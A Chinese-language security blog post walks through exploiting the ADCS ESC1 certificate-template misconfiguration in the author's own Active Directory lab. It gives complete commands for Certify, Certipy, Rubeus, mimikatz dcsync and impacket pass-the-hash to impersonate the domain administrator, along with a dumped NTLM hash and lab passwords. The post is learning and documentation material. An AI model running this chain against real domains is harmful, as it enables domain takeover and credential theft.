T0ngMystic`s Blog

"Security studying, Strive to be Security Re-Searcher. Love everything that I want to do"

AD域-ADCS错误配置-ESC1

image

2023-09-10 / 共计1428 字


答案在时间里,耐心是生活的关键。

Answer in Time, Patience is the key in life.

ADCS-ESC配置错误文章目录:

  1. ESC1: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc1/
  2. ESC2: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc2/
  3. ESC3: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc3/
  4. ESC4: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc4/
  5. ESC5_ESC6: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc5-esc6/
  6. ESC7: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc7/
  7. ESC8: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc8/

近期发现一些以前从没接触过的AD域攻击漏洞手法,感觉对于域的学习不够,准备系统学习一下AD域的渗透方法。先从ADCS配置漏洞开始。

下面漏洞在域内和域外均可利用

文中涉及工具(部分工具需自行编译,若有编译好的需求,请在评论区告诉我。If you need compiled tools, please tell me at the bottom of the article):

ESC1

ESC系列漏洞的成因是ADCS证书服务的模板配置错误而导致的。 ESC1漏洞条件如下:

ESC1漏洞条件:
1、Domain Users有权限获取证书
2、有登记为客户端身份验证等(我理解只要是证书有验证的功能即可)
3、开启CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT(可通过 _CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ 声明自己的身份,从而伪造成域管理员)

ESC1环境配置

ADCS服务器(我的域控与ADCS服务在一台服务器上)中运行中输入certtmpl.msc打开证书模板控制台进行复制工作站身份认证模板(对应漏洞条件2、有登记为客户段身份验证等) image.png

模版命名为ESC1(任何名称都可以,命名ESC1只是为了对应漏洞) image-AD域-ADCS-ESC1-20230910195120678 在扩展中查看应用程序策略是否是客户端身份认证(对应漏洞条件2、有登记为客户段身份验证等) image.png安全中添加Domain Users并添加注册权限(对应漏洞条件1、Domain Users有权限获取证书) image.png使用者名称中开启在请求中提供(对应漏洞条件3、开启CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) image.png 成功生成ESC1模板: image.png 在运行中输入certsrv.msc打开证书颁发机构发布ESC1模板: image.png

域内利用

使用Certify.exe 扫描是否存在漏洞

Certify.exe find /vulnerable

image.png msPKI-Certificate-Name-Flag,pkiextendedkeyusage,Enrollment Rights如下则表示满足ESC1漏洞条件,从而存在ESC1漏洞: image.png

使用Certify.exe以administrator身份申请ESC1证书:

Certify.exe request /ca:DC1.t0ngmystictestad.com\t0ngmystictestad-DC1-CA /template:ESC1 /altname:administrator

image.png 成功申请证书后可以看到需要使用openssl转换成pfx格式: image.png

将申请的证书复制保存到本地命名为cert.pem,使用openssl转换格式,密码直接为空即可(直接回车)

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

image.png

没有获取tgt时无法访问域控服务器: image.png

使用Rubeus请求域管Administrator的TGT:

rubeus.exe asktgt /user:administrator /certificate:C:\Users\user1\Desktop\Certify-main\Certify\bin\x86\Debug\cert.pfx /dc:192.168.111.11 /ptt

image-AD域-ADCS-ESC1-20230911232439663 成功获取到域控管理员Administrator的TGT: image.png 成功使用域管身份访问域控: image.png

域外利用

使用certipy查看是否存在漏洞:

certipy find -u [email protected] -p Testad@1234 -dc-ip 192.168.111.11 -vulnerable -debug

image.png 查看ESC1证书满足漏洞的三个前提条件,存在ESC1漏洞: image.png 伪造域管Administrator身份申请证书:

certipy req -u [email protected] -p Testad@1234 -ca t0ngmystictestad-DC1-CA -dc-ip 192.168.111.11 -template ESC1 -upn [email protected] -debug

image.png 通过证书获取域管身份的TGT,Hash,之后即可通过域管身份登录域服务器:

certipy auth -pfx administrator.pfx -dc-ip 192.168.111.11

image.png

进一步利用

上述只是进行了Ipc$利用,这里记录一下申请到域管TGT后进行HASH传递和远程桌面登录。

使用mimikatz获取域管的HASH,(Hash NTLM: 92ac39dc25532a7fabf2c33d861b2c53)

mimikatz.exe
privilege:debug
lsadump::dcsync /domain:t0ngmystictestad.com /user:administrator

image.png

impacket利用(Use impacket)

利用impacket中的wmiexec进行HASH传递,进入服务器:

python wmiexec.py tOngmystictestad/[email protected] -hashes :92ac39dc25532a7fabf2c33d861b2c53

image.png

Hash传递登录远程桌面(Pass The Hash to login rdp)

hash传递登录远程桌面:

mimikatz.exe
privilege:debug
sekurlsa::pth /user:administrator /domain:192.168.111.11 /ntlm:92ac39dc25532a7fabf2c33d861b2c53 "/run:mstsc.exe /restrictedadmin"

image.png

文笔垃圾,技术欠缺,欢迎各位师傅请斧正,非常感谢!


如果文章对您有帮助

部分文章会发布公众号!

感谢您的支持!